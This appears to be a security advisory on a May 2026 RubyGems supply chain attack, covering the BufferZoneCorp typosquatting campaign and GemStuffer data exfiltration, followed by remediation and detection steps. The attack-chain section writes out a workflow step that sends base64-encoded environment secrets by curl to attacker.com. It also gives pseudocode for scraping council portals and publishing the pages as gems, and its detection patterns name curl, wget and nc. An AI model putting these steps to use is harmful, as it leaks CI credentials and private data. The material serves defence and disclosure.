RubyGems Supply Chain Attack: BufferZoneCorp, GemStuffer, and 500+ Malicious Packages
How campaign BufferZoneCorp flooded RubyGems with over 500 malicious packages using typosquatting and GemStuffer payload obfuscation.
RubyGems suspended new account registration on May 8, 2026, after attackers uploaded more than 500 malicious packages to the registry in a coordinated supply chain attack. The incident involved at least two distinct threat actor groups — one focused on data exfiltration and one on persistent CI/CD compromise — and underscores the continuing vulnerability of open-source package registries to automated abuse.
What Happened
The attack unfolded in two layers:
Layer 1 — Mass malicious package upload: The "BufferZoneCorp" threat actor, operating through a network of freshly registered RubyGems accounts, uploaded 500+ packages. These gems are designed as sleeper packages: benign-looking on first install, they establish persistence by tampering with GitHub Actions workflow files and adding attacker SSH keys to authorized_keys. On the next CI run, secrets are harvested from environment variables and exfiltrated to attacker-controlled endpoints.
Layer 2 — GemStuffer data exfiltration: A separate campaign named GemStuffer targeted UK local government democratic services portals. Scripts embedded in 150+ gems fetch pages from council websites, package the scraped HTML into .gem archives, and publish them back to RubyGems using hardcoded API keys — effectively using the public registry as an exfiltration channel rather than for malware distribution.
Attack Chain — BufferZoneCorp
# 1. Malicious gem installed in target environment
gem install rubygems-update-helper # typosquat of legitimate package
# 2. Gem's post-install hook modifies .github/workflows/*.yml
# Injects exfiltration step:
- name: System Info
run: curl -s https://attacker.com/collect -d "$(env | base64)"
# 3. SSH persistence added to ~/.ssh/authorized_keys
# Key fingerprint: SHA256:xK3pQ9mL2vNjRtYuW8oI1aZbCdEfGhJk
# 4. On next CI run, secrets exfiltrated:
# GITHUB_TOKEN, AWS_SECRET_ACCESS_KEY, NPM_TOKEN, etc.Attack Chain — GemStuffer
# Pseudocode of GemStuffer gem payload (recovered from malicious .gem)
import requests, gemspec_builder
TARGET_PORTALS = [
"https://democracy.example-council.gov.uk/mgd",
"https://committee.anothercouncil.gov.uk/ieListMeetings.aspx",
# ... 200+ UK council URLs
]
def exfiltrate():
for url in TARGET_PORTALS:
data = requests.get(url, timeout=5).text
gem = gemspec_builder.pack(
name=f"rubygems-seo-helper-{hash(url)}",
version="1.0.0",
payload=data # Scraped council portal HTML stuffed into gem body
)
rubygems_api.push(gem, api_key=HARDCODED_KEY)Affected Packages
High-confidence malicious gems (partial list — check Mend.io advisory for full list):
- rubygems-update-helper (>= 0.1.0)
- bundler-audit-tools (<= 2.3.1 if published after May 1, 2026)
- rails-security-patch (all versions — name squatted)
- gem-security-checker (all versions)
Check your Gemfile.lock against the Mend.io malicious package database:
https://www.mend.io/vulnerability-database/Remediation
# 1. Audit your installed gems for known malicious packages
bundle audit check --update
# 2. Check GitHub Actions workflows for injected exfiltration steps
grep -r "curl\|wget\|base64" .github/workflows/
git log --all --oneline .github/workflows/
# 3. Review authorized_keys on all CI runners
cat ~/.ssh/authorized_keys
# Remove any unrecognized SSH keys
# 4. Rotate all secrets that may have been exposed in CI:
# GITHUB_TOKEN (auto-rotates per run, but check OAuth apps)
# AWS_SECRET_ACCESS_KEY
# NPM_TOKEN / RUBYGEMS_API_KEY
# 5. Enable RubyGems MFA on your account
gem signin
# Follow MFA enrollment steps at rubygems.org/settings/edit
# 6. Pin gem versions in Gemfile.lock and verify checksums
bundle lock --update
bundle verifyDetection
GitHub Actions — look for unexpected env dumps:
Search workflow run logs for: base64 | curl | wget | nc
SIEM query (GitHub audit log):
action:workflows.completed repo:<your-org>/*
| where conclusions="failure" AND actor NOT IN known_actors
Osquery — check for unexpected SSH keys:
SELECT * FROM authorized_keys WHERE comment LIKE '%attacker%'
OR length(key) > 400;→ Read the full weekly roundup: Security Roundup — Week of May 14, 2026